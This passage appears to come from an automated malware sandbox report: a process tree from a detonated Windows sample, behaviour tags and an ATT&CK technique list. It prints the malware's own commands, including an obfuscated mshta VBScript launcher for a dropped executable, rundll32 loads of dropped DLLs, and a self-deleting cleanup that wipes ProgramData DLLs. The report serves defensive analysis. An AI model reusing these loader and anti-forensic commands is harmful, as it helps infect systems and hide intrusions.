        "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
        12⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4160
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"
        13⤵
        
        PID:7236
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" .\p_ZPP.J p
        12⤵
        
        PID:7176
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F /Im "NYqFSjaxbjQrEyabuaoihYbM.exe"
        11⤵
        Kills process with taskkill
        
        PID:5548
        
        C:\Users\Admin\Documents\7xzTWJrGXXJXA7oxicvTdzR3.exe
        
        "C:\Users\Admin\Documents\7xzTWJrGXXJXA7oxicvTdzR3.exe"
        8⤵
        
        PID:32
        
        C:\Users\Admin\Documents\7xzTWJrGXXJXA7oxicvTdzR3.exe
        
        "C:\Users\Admin\Documents\7xzTWJrGXXJXA7oxicvTdzR3.exe"
        9⤵
        
        PID:6680
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im 7xzTWJrGXXJXA7oxicvTdzR3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\7xzTWJrGXXJXA7oxicvTdzR3.exe" & del C:\ProgramData\*.dll & exit
        10⤵
        
        PID:9132
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im 7xzTWJrGXXJXA7oxicvTdzR3.exe /f
        11⤵
        Kills process with taskkill
        
        PID:4892
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        11⤵
        Delays execution with timeout.exe
        
        PID:9872
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"
        5⤵
        
        PID:1888
- C:\Users\Admin\Documents\aSdNRGGOPzOtSyZMA8ci1a65.exe
  "C:\Users\Admin\Documents\aSdNRGGOPzOtSyZMA8ci1a65.exe"
  2⤵
  - Executes dropped EXE
  PID:448
- - C:\Program Files (x86)\Company\NewProduct\inst001.exe
    "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
    3⤵
    - Executes dropped EXE
    PID:3360
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Executes dropped EXE
    - Checks whether UAC is enabled
    PID:3212
- - C:\Program Files (x86)\Company\NewProduct\cutm3.exe
    "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
    3⤵
    - Executes dropped EXE
    PID:4692

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv 1PsfHjy/6UuX87LF/E3WAg.0.2
1⤵
- Modifies data under HKEY_USERS
PID:4828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1472 -ip 1472
1⤵
PID:3212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:2536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1312 -ip 1312
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1412 -ip 1412
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 5048 -ip 5048
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1212 -ip 1212
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4496 -ip 4496
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2472 -ip 2472
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2036 -ip 2036
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1880 -ip 1880
1⤵
PID:6064

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Loads dropped DLL
PID:4420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4420 -s 452
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:1160

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4420 -ip 4420
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5592 -ip 5592
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4220

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:768

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:7192
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  - Loads dropped DLL
  PID:7472
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7472 -s 448
    3⤵
    - Program crash
    PID:7384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 7472 -ip 7472
1⤵
PID:7476

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 512 -p 3664 -ip 3664
1⤵
PID:5848

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 648 -p 3228 -ip 3228
1⤵
PID:8184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5816 -ip 5816
1⤵
PID:8100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 5296 -ip 5296
1⤵
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 8844 -ip 8844
1⤵
PID:8312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 8536 -ip 8536
1⤵
PID:9328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 8800 -ip 8800
1⤵
PID:9320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 8868 -ip 8868
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 8700 -ip 8700
1⤵
PID:8776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 6860 -ip 6860
1⤵
PID:10224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 8672 -ip 8672
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 8812 -ip 8812
1⤵
PID:9232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 9428 -ip 9428
1⤵
PID:5548

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 504 -p 7096 -ip 7096
1⤵
PID:3700

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 356 -p 6892 -ip 6892
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1300 -ip 1300
1⤵
PID:7580

C:\Program Files\Windows Defender\mpcmdrun.exe
"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 8532 -ip 8532
1⤵
PID:9576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 9032 -ip 9032
1⤵
PID:8216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 6912 -ip 6912
1⤵
PID:2248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 7044 -ip 7044
1⤵
PID:8204

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6520
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7260
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 452
    3⤵
    - Program crash
    PID:3940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 7260 -ip 7260
1⤵
PID:8520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 8720 -ip 8720
1⤵
PID:8400

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:10160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7152 -ip 7152
1⤵
PID:7224

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 8896 -ip 8896
1⤵
PID:8496

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 496 -p 6020 -ip 6020
1⤵
PID:10056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 8048 -ip 8048
1⤵
PID:7620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 9960 -ip 9960
1⤵
PID:9188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 6064 -ip 6064
1⤵
PID:6184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 9412 -ip 9412
1⤵
PID:7140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 7664 -ip 7664
1⤵
PID:4992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 9432 -ip 9432
1⤵
PID:10140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 8124 -ip 8124
1⤵
PID:32

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 424 -ip 424
1⤵
PID:7224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8912 -ip 8912
1⤵
PID:7516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4992 -ip 4992
1⤵
PID:436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 1248 -ip 1248
1⤵
PID:10212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 8228 -ip 8228
1⤵
PID:828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 4880 -ip 4880
1⤵
PID:3712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 828 -ip 828
1⤵
PID:9996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 10704 -ip 10704
1⤵
PID:10480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 12552 -ip 12552
1⤵
PID:12160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 12832 -ip 12832
1⤵
PID:7452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 6768 -ip 6768
1⤵
PID:12192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 11416 -ip 11416
1⤵
PID:12616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 11424 -ip 11424
1⤵
PID:7336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4648 -ip 4648
1⤵
PID:13536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 13440 -ip 13440
1⤵
PID:12772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery